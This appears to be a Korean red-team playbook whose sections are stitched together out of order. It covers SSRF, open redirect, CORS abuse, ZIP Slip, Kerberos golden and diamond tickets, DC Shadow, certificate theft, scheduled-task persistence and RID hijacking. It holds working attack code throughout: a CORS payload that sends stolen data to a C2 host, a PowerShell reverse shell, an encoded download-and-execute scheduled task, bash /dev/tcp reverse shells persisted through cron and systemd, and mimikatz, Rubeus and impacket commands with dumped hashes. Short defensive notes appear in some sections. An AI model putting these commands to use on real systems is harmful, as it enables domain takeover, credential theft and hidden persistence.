위 다이어그램은 SSRF의 대체적인 공격 흐름에 대해서 설명하고 있습니다. 공격자는 내부망에 구현되어 있는 웹 서버 혹은 호스트 등과 같이 내부 리소스 정보를 수집하고 싶지만 내부망은 외부에서 접속하지 못하도록 폐쇄적 네트워크 구조이기 때문에 직접 접근하지 못합니다. 하지만 외부에 노출되어 있으며, 내부망과 연결되어 있는 DMZ 구간에 있는 웹 서비스에서 SSRF 취약점이 있을 경우, 공격자는 웹 서비스의 SSRF 취약점을 통한 내부망 정보 수집이 가능합니다.

주로 발견되는 공격 벡터는 웹 서비스에서 외부 이미지 파일을 로드하기 위해 URL 파라미터를 처리하며 발생합니다.

Practice

<?php
    $url = $_GET['url'];
    $ext = pathinfo($url, PATHINFO_EXTENSION);
    $img = base64_encode(file_get_contents($url));
    $img_src = "data:image/{$ext};base64,{$img}";
    echo "<img src=\"{$img_src}\" alt=\"\">";
?>

위 코드는 url 파라미터를 통해 이미지 주소를받은 뒤, 해당 url의 이미지를 화면에 띄우는 코드입니다. 예를 들어 사과 이미지를 띄울 수 있는 주소인 https://img.hankyung.com/photo/202403/AA.36104679.1.jpg를 URL 파라미터에 입력하면 아래와 같이 페이지에는 사과 이미지가 출력됩니다.

이때 정상적인 URL이 아닌 file://C:\Windows\System32\drivers\etc\hosts 와 같이 웹 서비스가 실행되는 호스트의 로컬 파일에 대한 요청을 전송하면 해당 파일의 내용이 Base64로 인코딩 되어 페이지 소스에 출력됩니다.

대응 방안

  1. 화이트리스트 기반의 사용자 입력 URL 검증

  2. 로컬 영역의 요청 차단

  3. 민감 자산일 경우 DMZ와 연결되지 않는 내부망에 보관

SSRF는 사용자가 URL을 비정상적으로 입력함에 따라 발생되는 취약점입니다. 따라서 사용자가 입력한 URL이 신뢰받는 URL인지를 확인하기 위해, 사전에 신뢰하는 도메인 목록을 화이트리스트로 정의하여 해당 도메인이 아닐 경우 요청이 거부되도록 설정할 수 있습니다. 또한 로컬 영역의 요청을 차단하며 DMZ에 놓인 웹 서비스와 직접적으로 연결 가능한 내부 호스트 및 서비스에는 민감한 자산을 보관하지 않도록 하여 2차 피해를 예방할 수 있습니다.

Open Redirect

회원만 글을작성할수 있는 게시판에서 로그인을 하지 않은 채로 글 작성 버튼을 클릭 시 보통의 웹 사이트 들에서는 "로그인 후 이용 가능합니다" 등과 같은 알림창을 띄운 뒤 로그인 페이지로 강제 이동 시킵니다. 그리고 사용자가 로그인을 했을 땐, 로그인을 하지 않아 실패했던 요청으로 돌아가서 글을 작성하는 페이지로 이동되는 로직을 흔하게 경험할 수 있습니다.

Open Redirect 취약점은 이처럼 서버가 특정 조건에서 클라이언트를 강제적으로 리다이렉션 시킬 때, 리다이렉션 되는 경로를 공격자가 조작할 때 발생하는 취약점입니다. 아래는 로그인 페이지에서 유효한 계정 정보를 입력 후, 패킷을 조작하지 않은 요청 패킷입니다. 현재 서버에서는 from 파라미터를 통하여 리다이렉션 할 경로를 GET 방식으로 전달하고 있습니다.

실제 서버의 loginAction.php 코드를 확인해보면 전달받은 파라미터를 통해서 from 파라미터가 존재할 시, 어떠한 입력값 검증 과정 없이 리다이렉션 시키는 것이 확인됩니다.

$from = isset($_GET['from']) ? $_GET['from'] : '';
if ($gubun == 'user'){
    $query = "SELECT * FROM users WHERE id = ?";
    $stmt = $db_conn->prepare($query);
    $stmt->bind_param("s", $user_id);
    $stmt->execute();
    $result = $stmt->get_result();
    $num = ($result && $result->num_rows) ? $result->num_rows : 0;
    $row = $result->fetch_assoc();
    $real_password = isset($row['password']) ? $row['password'] : '';
    if($real_password == $user_pw){
        $_SESSION['id'] = $user_id;
        $_SESSION['login'] = hash("sha256",$user_id); // 세션 변수 설정
        if ($from != ''){
            header("Location: $from");
            exit();
        }
        header("Location: ../index.php"); // 대시보드 페이지로 리디렉션
        exit(); // 스크립트 실행 중지
    }else{
        echo "<script>alert('아이디 혹은 패스워드가 일치하지 않습니다.');history.back(-1)</script>";
        exit;
    }

이를 통해서 공격자는 로그인 페이지의 from 파라미터에 공격자의 피싱 서버 주소를 삽입하여 사용자들이 로그인 시에 피싱 사이트에서 활동하도록 유도할 수 있습니다.

대응 방안

  1. 서버에서 리다이렉션 하는 로직을 경로와 함께 하드코딩

  2. 리다이렉션 경로를 클라이언트 동적으로 받을 필요가 있을 경우 POST 요청을 통해 수신

  3. 리다이렉션 직전, 안전한 경로를 화이트리스트로 관리하여 입력값 검증

SOP / CORS

SOP

SOP는 Same Origin Policy의 약어로 웹 브라우저에서 사용되는 정책이자 보안 기능입니다. 이 정책의 근본적인 탄생 배경은 신뢰되지 않는 출처에서 브라우저의 쿠키 등을 탈취하는 공격에 방어하기 위함입니다. 만약 다른 출처 간의 신뢰성 검증 없이 데이터 전송을 허가한다면 아래 다이어그램과 같이 악성 링크를 전달하는 것만으로도 사용자의 민감 데이터를 탈취할 수 있습니다.

  1. 공격자가 사용자에게 www.attack.com에 접속하도록 유도

  2. 사용자가 www.attack.com에 접속

  3. www.example.com으로부터 쿠키 값을 가져오도록 작성된 스크립트 실행

  4. www.example.com은 사용자의 쿠키를 www.attack.com에 반환

  5. 공격자는 사용자의 쿠키 탈취

기본적으로 브라우저에서 서로 다른 URL 간의 출처가 같은지를 검증하는 방법은 Schema, Host, Port 항목을 비교하는 것입니다. 이 세가지 기준에서 하나라도 일치하지 않는다면 서로 다른 출처라고 판단합니다. 아래의 표에서 보는 것과 같이 동일한 출처로 허용하는 기준은 상당히 엄격한 것이 확인됩니다.

Origin 1
Origin 2
일치 여부

http://example.com

https://example.com

X

http://example.com

http://hi.example.com

X

http://example.com

http://example.com:8080

X

http://example.com

http://example.com

O

하지만 정책이 엄격할 수록 보안 기능은 향상되지만, 편의성은 떨어지기 마련입니다. 같은 출처간의 데이터 교환만 허가하는 SOP는 개발자들의 개발 편의성을 저해하며 개발 시간을 줄여주는 소스나 자료 등을 쉽게 가져오지 못하게 됩니다.

CORS

위와 같이 SOP는 보안 기능은 보장되지만, 정작 중요한 개발 환경에 제약을 줄 수 있습니다. 그래서 보안 기능을 어느정도 가져가면서도 다른 출처에서의 리소스나 데이터 등을 송수신 하기 위해서 나온 정책이 CORS입니다. CORS는 Cross Origin Resource Sharing의 약어로 교차 출처 간 리소스 공유를 뜻합니다.

서버는 신뢰할 수 있는 출처가 리소스를 요청할 때, 그 출처를 허가하기 위해서 Access Control Allow Origin 헤더에 미리 출처를 입력합니다. 리소스를 요청하는 출처에서는 리소스 요청 패킷의 Origin 헤더에 현재 출처가 기입되는데, 이때 서버의 ACAO에 기입된 출처에 포함되지 않을 경우 요청이 차단됩니다.

  1. 공격자가 사용자에게 www.attack.com에 접속하도록 유도

  2. 사용자가 www.attack.com에 접속

  3. www.example.com으로부터 쿠키 값을 가져오도록 작성된 스크립트 실행

  4. www.example.com은 ACAO 목록에서 www.attack.com이 존재하는지 확인

  5. ACAO 목록에 유효하지 않은 요청일 경우 요청 폐기

CORS Abuse

하지만 개발자들은 또다시 ACAO 목록에 하나씩 출처를 기입하는게 번거로워집니다. 그래서 출처를 허용하는 ACAO 헤더에 와일드카드 * 를 사용하여 리소스를 요청하는 모든 출처를 허용하는 경우가 많습니다.

이렇게 될 경우 사실상 CORS가 있으나 마나 하게 되며, 공격자의 출처로부터 전송된 요청도 와일드카드에 의해서 정상적으로 리소스 반환이 이루어집니다. 그래서 브라우저 정책에서는 와일드카드의 사용은 허용하나, 와일드카드를 사용할 경우 ACAC는 False가 강제적으로 설정되게끔 조치합니다. ACAC는 Access Control Allow Credentials로, 쿠키, 인증 정보(자격 증명) 등을 전달할 수 있는지 판단하는 헤더로 True일 경우 요청을 허용하고 False일 경우 요청을 불허합니다.

개발자들은 ACAO를 직접 명시하기도 싫고, 쿠키나 인증 정보 또한 전송하고 싶어합니다. 하지만 ACAO에 와일드카드를 사용할 경우 ACAC가 강제적으로 False로 설정되기 때문에 요청 패킷의 Origin 헤더에서 전송된 데이터를 그대로 ACAO에 등록하여 서버로 들어오는 모든 도메인으로부터의 리소스 요청을 허용하게 만드는 경우가 있습니다.

Origin 헤더의 값을 변경함에 따라 응답 패킷의 ACAO 헤더 값이 동일하게 반환된다면 XSS를 통한 민감 데이터 탈취 시나리오가 가능할 수 있습니다. 공격자는 악성 자바스크립트 코드를 작성한 웹 페이지를 Replit 등으로 개설한 뒤, 리다이렉션 된 서버로부터 GET 응답을 받을 임시 서버를 만들어 데이터를 탈취할 수 있습니다.

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get', 'https://vuln.com', true);
req.withCredentials = true;
req.send();

function reqListener() {
    if (typeof this.responseText === 'string') {
        location = 'https://C2Server.com/log?key=' + encodeURIComponent(this.responseText);
    }
    else if (this.response && typeof this.response === 'object') {
        const jsonData = JSON.stringify(this.response);
        location = 'https://C2Server.com/log?key=' + encodeURIComponent(jsonData);
    }
}

자바스크립트 악성 코드는 위와 같이 간단한 코드를 이용합니다. req.open 필드에는 취약한 서버를, location에는 데이터를 받을 공격자 서버를 입력합니다.

References

Golden Tickets

골든 티켓은 이미 도메인 관리자 권한을 획득하여 krbtgt의 키를 확보했을 때, 높은 권한을 지속적으로 이용할 수 있도록 도와주는 지속성 공격 기법입니다.

Kerberos 인증 과정에서 TGT를 발급받을 때, TGT의 정보는 krbtgt의 키로 암호화가 되어 있어 일반적인 사용자는 TGT 정보를 변조하거나 읽을 수 없습니다. 하지만 krbtgt의 키를 확보한 이후 공격자는 오프라인에서 가장하려는 사용자의 TGT를 임의로 생성할 수 있고, 이러한 TGT를 이용해 높은 권한으로 서비스를 이용하거나 Pass the Ticket을 통한 도메인 사용자 가장이 가능합니다.

골든 티켓의 특징으로는 공격자가 완전한 오프라인 상태에서 도메인 컨트롤러와의 어떠한 연결 없이 TGT를 생성할 수 있다는 것입니다. 따라서 Kerberos의 1 ~ 2단계인 AS-REQ와 AS-RES 단계가 생략된 상태로 TGS-REQ 과정으로 바로 시작하게 됩니다. 침해 사실을 모르는 상태에서 골든 티켓을 탐지하기 위해 모든 티켓 통신 과정에서 생략된 부분을 모니터링 하는 것은 어렵지만, 만약 모니터링을 강화한다면 골든 티켓 공격은 공백의 AS-REQ를 통해 탐지할 수 있습니다.

골든 티켓을 이용하기 위해 필요한 정보는 다음과 같습니다.

  1. 도메인 SID

  2. krbtgt 키

Practice

DCSync 권한 혹은 도메인 관리자 권한이 있다면 cme를 통해서 NT Hash 덤핑이 가능합니다.

# krbtgt 키 출력
└─# crackmapexec smb 10.0.2.10 -u Administrator -p Password123! --ntds  
SMB         10.0.2.10       445    DC01             [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:DC01) (domain:offsec.local) (signing:True) (SMBv1:True)
SMB         10.0.2.10       445    DC01             [+] offsec.local\Administrator:Password123! (Pwn3d!)
SMB         10.0.2.10       445    DC01             [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.0.2.10       445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
SMB         10.0.2.10       445    DC01             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.0.2.10       445    DC01             krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0126e8d0c94b36875977a82182b5c447:::

# 도메인 SID 출력
└─# impacket-lookupsid 'offsec.local/Administrator:Password123!'@10.0.2.10 -domain-sids
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Brute forcing SIDs at 10.0.2.10
[*] StringBinding ncacn_np:10.0.2.10[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4273732785-2380758271-4255945284

# 도메인 Administrator TGT 발급
└─# impacket-ticketer Administrator -domain offsec.local -domain-sid S-1-5-21-4273732785-2380758271-4255945284 -nthash 0126e8d0c94b36875977a82182b5c447
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncAsRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncASRepPart
[*] Saving ticket in Administrator.ccache

# 환경 변수 등록
export KRB5CCNAME=Administrator.ccache 

# 티켓을 통한 권한 ntds 덤핑 권한 확인
└─# impacket-secretsdump -k DC01.offsec.local                                                                                                                                                                                              
Impacket v0.12.0.dev1 - Copyright 2023 Fortra                                                                                                                                                                                              
                                                                                                                                                                                                                                           
[*] Target system bootKey: 0xf865b42139fd2b1b45de4e9f08d15bcb                                                                                                                                                                              
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
...
offsec\Administrator:Password123!
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

골든 티켓은 사용자의 패스워드가 변경된다고 하더라도 문제 없이 사용이 가능합니다. 따라서 공격을 방어하기 위해서는 krbtgt의 패스워드를 복잡한 것으로 주기적으로 변경해주는 것이 유일한 방안입니다. 또한 티켓은 krbtgt의 패스워드가 2회 변경될 경우 유효하지 않은 것으로 간주하여 폐기되는데, 이는 실제 침해 당한 도메인에서 사용하는 대응 방안이기도 합니다.

References

로그인 페이지 Request 패킷
로그인 페이지의 from 파라미터를 Google로 변경
조작된 리다이렉션 경로로 이동된 모습
https://velog.io/@black1594/4.-Rest-API-vs-GraphQL-API
https://mannhowie.com/rest-api
https://www.contentful.com/blog/what-is-graphql/
https://jaehyeon48.github.io/web/sop-and-cors/
https://jaehyeon48.github.io/web/sop-and-cors/
https://likethefirst.tistory.com/entry/2-1-%EC%B7%A8%EC%95%BD%ED%95%9C-CORS-%EC%9C%A0%ED%98%95-1-%EB%B0%98%EC%82%AC%EB%90%9C-ACAO-%EB%B0%8F-True-ACAC

ZIP Slip

ZIP Slip Attack은 압축 파일을 압축 해제하는 과정에서 압축된 파일의 이름을 적절하게 검증하지 않는다면 Path Traversal 공격이 가능한 취약점입니다. 공격을 통해서 기존에 존재하는 서버의 파일을 덮어쓰거나, 악성 코드를 올려둬서 실행시키게끔 하는 DLL Hijacking 공격 시나리오로 이어질 수 있습니다.

Practice

unzip과 7z 등의 상용 압축 해제 프로그램의 경우 보안 업데이트가 되기 때문에 CVE에 대한 패치로 실습이 어렵기 때문에 압축을 해제하는 파이썬 프로그램을 먼저 제작합니다.

이후 evilarc를 통해서 경로 이동 문자를 포함한 압축 파일을 생성한 뒤 압축 해제 프로그램을 통해 압축을 해제합니다.

References

import zipfile
import os

def extract_zip(zip_path, extract_to):
    with zipfile.ZipFile(zip_path, 'r') as zip_ref:
        for file in zip_ref.namelist():
            file_path = os.path.join(extract_to, file)
            os.makedirs(os.path.dirname(file_path), exist_ok=True)
            with open(file_path, 'wb') as f:
                f.write(zip_ref.read(file))

extract_zip('evil.zip', '.')
┌──(root㉿kali)-[~/Pentest/Machine]
└─# python2 evilarc.py passwd --depth 5 --path '/etc/' --os unix 
Creating evil.zip containing ../../../../..//etc/passwd
                                                                                                                                                                                 
┌──(root㉿kali)-[~/Pentest/Machine]
└─# python3 unzip.py evil.zip                                   
                                                                                                                                                                                 
┌──(root㉿kali)-[~/Pentest/Machine]
└─# cat /etc/passwd
ZIP Slip Vulneabliity Test

Diamond Tickets

Golden Tickets과 다이아몬드 티켓의 공통점으로는 이미 도메인을 장악하여 krbtgt 키를 알고 있을 때 발급하여 지속성을 확보하는 지속성 공격입니다. 하지만 둘의 차이점으로 골든 티켓은 공격자가 krbtgt 키를 이용하여 완전한 오프라인 상태에서 위조한 TGT를 이용하는 반면, 다이아몬드 티켓은 도메인 컨트롤러를 통해 정상적인 TGT를 발급한 이후, 권한에 관련된 필드를 수정함으로써 높은 권한을 가집니다.

PAC에 있는 정보를 변경하여 높은 권한을 유지할 때는 두 가지 방식을 사용할 수 있습니다.

  • 티켓의 cname(Client Name) 필드와 PAC 정보를 모두 변경하여 다른 사용자를 가장하는 방법

  • 티켓의 cname은 그대로 두고 PAC에 기입된 권한 정보를 관리자 권한으로 변경하는 방법

골든 티켓은 TGT를 도메인 컨트롤러로부터 발급하지 않은 상태로 처음부터 공격자가 변조하여 생성하는 공격이기 때문에 AS-REQ 과정 자체가 존재하지 않습니다. 그러나 공격자가 자체 제작한 TGT를 이용하여 서비스에 접근할 때는 TGS-REQ 요청이 필연적이기 때문에, AS-REQ가 없는 TGS-REQ를 모니터링 한다면 탐지가 된다는 단점이 있습니다.

반면 다이아몬드 티켓은 도메인 컨트롤러로부터 정상적인 TGT를 발급받은 이후에 진행되기 때문에, 유일한 탐지 포인트였던 골든 티켓의 AS-REQ 공백 과정을 우회할 수 있습니다. 이러한 차이점으로 다이아몬드 티켓은 골든 티켓보다 작전보안에 이점이 있습니다.

Command

Rubeus를 통해서 도메인 컨트롤러로부터 현재 사용자의 TGT를 발급받고, PAC 정보를 위조하여 높은 권한을 획득할 수 있습니다. 아래 명령어에서 각 옵션에 대한 설명은 다음과 같습니다.

  • /tgtdeleg : 현재 비콘 사용자의 TGT를 획득합니다.

  • /ticketuser : 가장하려는 사용자를 기입합니다.

  • /ticketuserid : 가장하려는 사용자의 RID 값입니다.

  • /groups : 원하는 그룹의 RID이며, 512는 Domain Admins 그룹입니다.

  • /krbkey : krbtgt의 AES256 해시입니다.

# 도메인 사용자 RID 확인
Get-ADUser -Identity Administrator | Select Name, SID

# 다이아몬드 티켓 생성
.\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:<Administrator RID> /groups:512 /krbkey:<krbtgt key> /nowrap

# 티켓의 주체 확인
.\Rubeus.exe describe /ticket:<Base64 Encoded Ticket>

References

DC Shadow

DC Shadow는 공격자가 도메인의 관리자 권한을 획득한 이후에 DC의 권한을 이용하여 도메인 내의 정보를 변경한 뒤, MS-DRSR을 통해 다른 컨트롤러와의 정보 동기화를 이용하여 해당 도메인 전체에 대한 객체 정보를 변경하는 공격입니다. 아직까지 공개된 PoC는 존재하지 않기 때문에 도메인 관리자 파워쉘과 시스템 권한의 파워쉘에서 mimikatz 사용이 요구됩니다.

Practice

사용자 객체 정보를 변경하기 위해서는 형식을 지정해줘야 하기 때문에 형식을 확인합니다. 확인된 이후에는 변경하고자 하는 객체의 속성을 변경한 뒤 적용시켜줍니다. 시스템 쉘과 관리자 쉘 두가지가 필요하며, 두가지 쉘에서 해야 하는 명령어가 다르기 때문에 코드 실행에 주의합니다.

# 객체 정보 조회
([adsisearcher]"(&(objectCategory=user)(name=wiki))").Findall().Properties

# 조회한 정보를 토대로 정보 변경 (System 쉘의 mimikatz)
lsadump::dcshadow /object:CN=wiki,CN=Computers,DC=pentesting,DC=wiki /attribute:memberOf /value:"Domain Admins"

# 변경한 정보를 최종 커밋 (Administrator 쉘의 mimikatz)
dcshadow /push

References

Certificate

인증서는 CA에 의해 폐기되거나 만료되지 않는 이상, 비밀번호를 변경한다고 하더라도 유효하게 사용이 가능하며 유효기간은 기본적으로 1년이기 때문에 지속성 공격으로 탁월합니다.

User Persistence

다른 사용자의 Personal Certificate Store에 저장된 인증서는 도메인/로컬 관리자라고 하더라도 열람할 수 없습니다. 인증서는 HKCU\Software\Microsoft\SystemCertificates 키 아래의 시스템 레지스트리에 보관되며 C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\ 하위에 저장될 수도 있습니다.

대상 비콘을 획득한 단계에서 인증서를 열거하기 위해 Seatbelt를 사용할 수 있습니다. 이때 열거된 인증서 중 Client Authentication 용도로 설정된 인증서만이 인증서를 통해 사용자 인증이 가능합니다. 만약 사용자 저장소에 인증서가 없다면 내장된 기본 템플릿인 User 템플릿을 요청할 수 있습니다.

Computer Persistence

도메인 사용자 계정의 경우 해당 사용자만이 본인의 저장소에 접근이 가능한 반면, 머신 계정의 저장소는 로컬 관리자만이 접근할 수 있습니다.

References

Task Scheduler

Windows

일반적인 리버스쉘을 받는 환경에서는 파워쉘 리버스쉘 스크립트를 작성하여 공격자 웹 서버에서 대기합니다. 예를 들어 아래와 같은 코드를 Reverse.ps1으로 저장 후, 웹 서버 경로에 올려둔 채로 포트를 대기합니다.

만약 코발트 스트라이크를 사용중일 경우 아래와 같이 웹 경로에 파워쉘 페이로드를 삽입하면 됩니다.

이제 웹 서버에 접속하여 파워쉘 스크립트를 읽고 실행하도록 하는 스케줄을 생성해야 합니다. 파워쉘 명령 중 IEX는 파일리스 방식으로 AV/EDR 탐지를 회피하기 위한 방법 중 하나입니다. 아래는 공격자 웹 서버에 접속하여 Reverse.ps1 파일을 읽고 실행하는 작업을 작업 스케줄로 등록하는 코드입니다.

명령어를 입력 후에는 작업 스케줄러가 정상적으로 등록된 것을 확인할 수 있습니다. 작업 스케줄은 1분마다 웹 서버에 접속하여 파워쉘을 실행하도록 되어있어 잠시 기다리면 리버스쉘이 획득됩니다. 코발트 스트라이크에서 웹 서버를 열어 파워쉘 파일을 다운받도록 했다면 비콘 연결이 확인될 것입니다.

Linux

Linux 환경에서는 crontab과시스템 타이머를 이용한 스케줄 등록이 가능합니다.

Cron

Systemed Timer

References

에서 설명하는 것에 따르면, 최초의 다이아몬드 티켓 공격 방식은 정상적인 사용자 계정으로 PAC 정보가 공란인 TGT를 발급한 뒤, 해당 TGT의 PAC 정보를 높은 권한으로 변조한 뒤 krbtgt의 키로 암호화하여 높은 권한의 티켓으로 위조하는 방식이었습니다. 그러나 2021년 11월 Kerberos/AD 패치에서 PAC 정보가 없는 TGT에 대한 발급은 불가능하게 변경되었는데, krbtgt의 키를 알고 있다면 PAC 정보를 복호화한 뒤 변조하여 다시 암호화 하는 방법으로 티켓을 생성할 수 있습니다.

Charlie Clark 블로그
# Seatbelt를 사용한 사용자 인증서 열거
.\Seatbelt.exe Certificates

# 인증서가 없다면 내장된 User 템플릿 요청
.\Certify.exe request /ca:<ca> /template:User

# 인증서 추출
mimikatz crypto::certificates /export

# 인증서 다운로드
download <pfx file>

# 인증서 Base64 포맷으로 변경
cat user.pfx | base64 -w 0

# 인증서를 통한 TGT 요청(패스워드 : mimikatz)
.\Rubeus.exe asktgt /user:<USER> /certificate:<Base64 Encoded pfx> /password:mimikatz /nowrap
# Seatbelt를 사용한 사용자 인증서 열거
.\Seatbelt.exe Certificates

# 인증서가 없다면 내장된 Machine 템플릿 요청
.\Certify.exe request /ca:<ca> /template:Machine /machine

# 인증서 추출
mimikatz !crypto::certificates /systemstore:local_machine /export

# 인증서 다운로드
download <pfx file>

# 인증서 Base64 포맷으로 변경
cat machine.pfx | base64 -w 0

# 인증서를 통한 TGT 요청(패스워드 : mimikatz)
.\Rubeus.exe asktgt /user:<Machine> /enctype:aes256 /certificate:<Base64 Encoded pfx> /password:mimikatz /nowrap
# reverse_shell.ps1 파일
$client = New-Object System.Net.Sockets.TCPClient("192.168.79.130", 4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush();
}
$client.Close();
$str = 'IEX ((new-object net.webclient).downloadstring("http://example.com/Reverse.ps1"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
<-- Base64로 인코딩된 명령어 출력 -->

$TaskName = "Updater"
$PSEXE = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$EncodedArgs = "-nop -w hidden -enc <Base64 Encoded Command>"
$Action = New-ScheduledTaskAction -Execute $PSEXE -Argument $EncodedArgs
$Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 365)
$Principal = New-ScheduledTaskPrincipal -UserId "$env:USERNAME" -LogonType Interactive
Register-ScheduledTask -TaskName $TaskName -Action $Action -Trigger $Trigger -Principal $Principal
# 리버스 쉘 코드 입력 및 권한부여
echo - e '#!/bin/bash\nsh -i >& /dev/tcp/<Attacker IP>/<Attacker Port> 0>&1' > rev.sh
chmod +x rev.sh

# 크론 스케줄러에 등록
echo '* * * * * root <PATH>' >> /etc/crontab

# 크론 스케줄이 정상적으로 실행되는지 확인
tail -f /var/log/syslog | grep CRON
# Systemd 파일에 서비스 등록 및 권한 부여
echo -e '[Service]\nExecStart=/bin/bash <PATH>' > /etc/systemd/system/rev.service
chmod +x rev.sh

# 시스템을 실행하는 주기를 매분 00초로 설정
echo -e '[Timer]\nOnCalendar=*-*-* *:*:00\nPersistent=true\n[Install]\nWantedBy=timers.target' > /etc/systemd/system/rev.timer

# 데몬 재기동 및 타이머 활성화
systemctl daemon-reload
systemctl enable --now rev.timer

# 등록된 타이머 리스트로 확인
systemctl list-timers
코발트 스트라이크 엔드포인트에 파워쉘 스크립트 지정
작업 등록 후 스케줄러 확인
리버스쉘 연결

RID Hijacking

RID Hijacking 공격은 로컬 관리자 권한을 획득한 공격자가 지속성을 위하여 새로운 계정 혹은 기존의 계정을 은닉 후, 높은 권한을 부여하는 지속성 공격입니다. 다른 계정을 장악하거나 골든 티켓을 발급하는 등의 지속성 공격과는 다르게 은닉한 계정에 대해 높은 권한을 부여하는 것이기 때문에 탐지 자체가 쉽지 않습니다.

Practice

실습을 위해서 PowerShell을 관리자 권한으로 실행한 뒤, PsExec를 통하여 시스템 권한을 획득합니다. 공격자는 로컬 호스트 System 권한을 이미 탈취한 이후이기 때문에 권한 상승과 관련된 과정은 생략합니다. Windows에서는 사용자 계정명 끝에 "$" 기호를 추가하면 net user 명령으로는 조회할 수 없습니다. 히든 계정을 조회하기 위해 레지스트리나 wmic useraccount get name 명령을 이용합니다.

RID Hijacking 공격은 히든 계정을 생성한 이후, 관리자 RID를 탈취하여 레지스트리 값을 수정하는 과정이 필요한데, 이를 위해 자동화 오픈소스 도구를 사용합니다.

# CreateHiddenAccount 도구를 사용한 히든 계정 생성 및 관리자 권한 부여
PS C:\Users\yeonu\Downloads> .\CreateHiddenAccount_v0.2.exe -u admin -p password123 -cu Administrator

...

[+] Successfully added admin$ user.
[+] Successfully added admin$ user to administrator group.
[+] admin$ RID: 407
[+] Administrator RID: 1F4
[+] Succeeded to Delete admin$ User using Windows API.
[+] Registry imported successfully.
[+] Registry replaced successfully.
[+] Successfully add hidden user.

생성한 계정이 Administrator 계정의 RID를 하이재킹 하는데 성공했는지 파악하기 위해 runas를 통해 admin$ 계정의 쉘을 획득하여 권한을 확인합니다.

C:\Windows\System32>whoami /all

사용자 정보
----------------

사용자 이름 SID
=========== ===========================================
연우\admin$ S-1-5-21-1865062479-2107738167-63151596-500

...

사용 권한 이름                            설명                                                     상태
========================================= ======================================================== ==========
SeIncreaseQuotaPrivilege                  프로세스에 대한 메모리 할당량 조정                       사용 안 함
SeSecurityPrivilege                       감사 및 보안 로그 관리                                   사용 안 함
SeTakeOwnershipPrivilege                  파일 또는 기타 개체의 소유권 가져오기                    사용 안 함
SeLoadDriverPrivilege                     장치 드라이버 로드 및 언로드                             사용 안 함
SeSystemProfilePrivilege                  프로필 시스템 성능                                       사용 안 함
SeSystemtimePrivilege                     시스템 시간 변경                                         사용 안 함
SeProfileSingleProcessPrivilege           프로필 단일 프로세스                                     사용 안 함
SeIncreaseBasePriorityPrivilege           예약 우선 순위 증가                                      사용 안 함
SeCreatePagefilePrivilege                 페이지 파일 만들기                                       사용 안 함
SeBackupPrivilege                         파일 및 디렉터리 백업                                    사용 안 함
SeRestorePrivilege                        파일 및 디렉터리 복원                                    사용 안 함
SeShutdownPrivilege                       시스템 종료                                              사용 안 함
SeDebugPrivilege                          프로그램 디버깅                                          사용 안 함
SeSystemEnvironmentPrivilege              펌웨어 환경 값 수정                                      사용 안 함
SeChangeNotifyPrivilege                   트래버스 검사 무시                                       사용
SeRemoteShutdownPrivilege                 원격 시스템에서 강제 종료                                사용 안 함
SeUndockPrivilege                         도킹 스테이션에서 컴퓨터 제거                            사용 안 함
SeManageVolumePrivilege                   볼륨 유지 관리 작업 수행                                 사용 안 함
SeImpersonatePrivilege                    인증 후 클라이언트 가장                                  사용
SeCreateGlobalPrivilege                   전역 개체 만들기                                         사용
SeIncreaseWorkingSetPrivilege             프로세스 작업 집합 향상                                  사용 안 함
SeTimeZonePrivilege                       시간대 변경                                              사용 안 함
SeCreateSymbolicLinkPrivilege             심볼 링크 만들기                                         사용 안 함
SeDelegateSessionUserImpersonatePrivilege 동일한 세션의 다른 사용자에 대한 가장 토큰을 가져옵니다. 사용 안 함

References

커버로스 골든 티켓 공격이란? 탐지와 분석은?LinkedInEditors
”해커에게 무한한 권한을 주는” 골든 티켓 공격의 이해 : 최신 IT소식 | 토드 커뮤니티 | Toad CommunityToad Community
골든 티켓 (Golden Ticket) | 레드팀 플레이북
Zip Slip AttackMedium
GitHub - ptoomey3/evilarc: Create tar/zip archives that can exploit directory traversal vulnerabilitiesGitHub
A Diamond (Ticket) in the Ruff | SemperisSemperis

Startup Folder

